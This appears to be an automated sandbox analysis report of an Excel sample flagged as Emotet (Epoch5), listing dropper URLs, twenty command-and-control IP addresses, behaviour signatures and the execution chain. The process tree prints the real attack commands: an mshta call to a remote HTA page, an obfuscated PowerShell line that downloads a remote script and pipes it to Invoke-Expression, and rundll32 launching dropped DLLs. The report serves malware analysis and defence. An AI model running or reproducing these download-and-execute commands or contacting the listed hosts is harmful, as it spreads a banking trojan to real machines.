Overview

overview

10

Static

static

8

tmpwhlz8g0u.xls

windows7_x64

10

tmpwhlz8g0u.xls

windows10_x64

10

Analysis

  • max time kernel
    152s
  • max time network
    152s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    31/01/2022, 00:58

Sharing

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General

  • Target
    tmpwhlz8g0u.xls
  • Size 47KB
  • Sample220131-bbh49achfk
  • SHA256 8ee14c7d3c0b7afe034ac1e75d6fa6e14715ad804f6d96a3854cbfd2ef6e457b
  • MD5 SHA1 SHA512
Score
10/10
emotetepoch5bankersuricatatrojan

Malware Config

Extracted

Language

  • hta

Source
URLs
  • hta.dropper

    http://91.240.118.172/mm/nn/se.html

Extracted

Language

  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://91.240.118.172/mm/nn/se.png

Extracted

Family

  • emotet

Botnet

  • Epoch5

C2

  • 74.207.230.120:8080

  • 139.196.72.155:8080

  • 37.44.244.177:8080

  • 37.59.209.141:8080

  • 116.124.128.206:8080

  • 217.182.143.207:443

  • 54.37.228.122:443

  • 203.153.216.46:443

  • 168.197.250.14:80

  • 207.148.81.119:8080

  • 195.154.146.35:443

  • 78.46.73.125:443

  • 191.252.103.16:80

  • 210.57.209.142:8080

  • 185.168.130.138:443

  • 142.4.219.173:8080

  • 118.98.72.86:443

  • 78.47.204.80:443

  • 159.69.237.188:443

  • 190.90.233.66:443

eck1.plain
ecs1.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • suricata: ET MALWARE W32/Emotet CnC Beacon 3

    suricata: ET MALWARE W32/Emotet CnC Beacon 3

    suricata
  • Blocklisted process makes network request 5 IoCs
  • Downloads MZ/PE file
  • Loads dropped DLL 8 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 32 IoCs
    adwarespyware
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 45 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\tmpwhlz8g0u.xls
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1088
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c set kiki=mshta http://91.240.118.172/mm/nn/se.html & echo %kiki% | cmd
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:1436
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /S /D /c" echo %kiki% "
        3⤵
          PID:836
        • C:\Windows\SysWOW64\cmd.exe
          cmd
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:664
          • C:\Windows\SysWOW64\mshta.exe
            mshta http://91.240.118.172/mm/nn/se.html
            4⤵
            • Blocklisted process makes network request
            • Modifies Internet Explorer settings
            • Suspicious use of WriteProcessMemory
            PID:1760
            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({LOkoNOkoBoko}{LOkoNOkoBoko}Ne{LOkoNOkoBoko}{LOkoNOkoBoko}w{LOkoNOkoBoko}-Obj{LOkoNOkoBoko}ec{LOkoNOkoBoko}{LOkoNOkoBoko}t N{LOkoNOkoBoko}{LOkoNOkoBoko}et{LOkoNOkoBoko}.W{LOkoNOkoBoko}{LOkoNOkoBoko}e'.replace('{LOkoNOkoBoko}', ''); $c4='bC{LOkoNOkoBoko}li{LOkoNOkoBoko}{LOkoNOkoBoko}en{LOkoNOkoBoko}{LOkoNOkoBoko}t).D{LOkoNOkoBoko}{LOkoNOkoBoko}ow{LOkoNOkoBoko}{LOkoNOkoBoko}nl{LOkoNOkoBoko}{LOkoNOkoBoko}{LOkoNOkoBoko}o'.replace('{LOkoNOkoBoko}', ''); $c3='ad{LOkoNOkoBoko}{LOkoNOkoBoko}St{LOkoNOkoBoko}rin{LOkoNOkoBoko}{LOkoNOkoBoko}g{LOkoNOkoBoko}(''ht{LOkoNOkoBoko}tp{LOkoNOkoBoko}://91.240.118.172/mm/nn/se.png'')'.replace('{LOkoNOkoBoko}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
              5⤵
              • Blocklisted process makes network request
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              • Suspicious use of WriteProcessMemory
              PID:1092
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\ProgramData\Milossd.dll KitKat
                6⤵
                • Suspicious use of WriteProcessMemory
                PID:900
                • C:\Windows\SysWow64\rundll32.exe
                  C:\Windows\SysWow64\rundll32.exe C:\ProgramData\Milossd.dll KitKat
                  7⤵
                  • Loads dropped DLL
                  • Suspicious use of WriteProcessMemory
                  PID:1756
                  • C:\Windows\SysWOW64\rundll32.exe
                    C:\Windows\SysWOW64\rundll32.exe "C:\ProgramData\Milossd.dll",DllRegisterServer
                    8⤵
                    • Loads dropped DLL
                    PID:1728
                    • C:\Windows\SysWOW64\rundll32.exe
                      C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Vnkmlkdhqxyd\laklujdkwpwlgz.veg",iGlcBSOp
                      9⤵
                      • Suspicious use of WriteProcessMemory
                      PID:560
                      • C:\Windows\SysWOW64\rundll32.exe
                        C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Vnkmlkdhqxyd\laklujdkwpwlgz.veg",DllRegisterServer
                        10⤵
                        • Blocklisted process makes network request
                        • Suspicious behavior: EnumeratesProcesses
                        PID:1472

    Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

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          Downloads

          memory/1088-57-0x00000000751B1000-0x00000000751B3000-memory.dmp
          Download

          memory/1088-54-0x000000002F2C1000-0x000000002F2C4000-memory.dmp
          Download

          memory/1088-102-0x000000005FFF0000-0x0000000060000000-memory.dmp
          Download

          memory/1088-56-0x000000005FFF0000-0x0000000060000000-memory.dmp
          Download

          memory/1088-55-0x0000000070E31000-0x0000000070E33000-memory.dmp
          Download

          memory/1092-62-0x0000000002450000-0x000000000309A000-memory.dmp
          Download

          memory/1092-63-0x0000000002380000-0x00000000023C3000-memory.dmp
          Download

          memory/1092-61-0x0000000002450000-0x000000000309A000-memory.dmp
          Download

          memory/1092-60-0x0000000002450000-0x000000000309A000-memory.dmp
          Download

          memory/1472-82-0x0000000000720000-0x0000000000747000-memory.dmp
          Download

          memory/1472-86-0x0000000002360000-0x0000000002387000-memory.dmp
          Download

          memory/1472-88-0x00000000025A0000-0x00000000025C7000-memory.dmp
          Download

          memory/1472-90-0x0000000002600000-0x0000000002627000-memory.dmp
          Download

          memory/1472-92-0x00000000026F0000-0x0000000002717000-memory.dmp
          Download

          memory/1472-94-0x00000000027E0000-0x0000000002807000-memory.dmp
          Download

          memory/1756-70-0x0000000000320000-0x0000000000347000-memory.dmp
          Download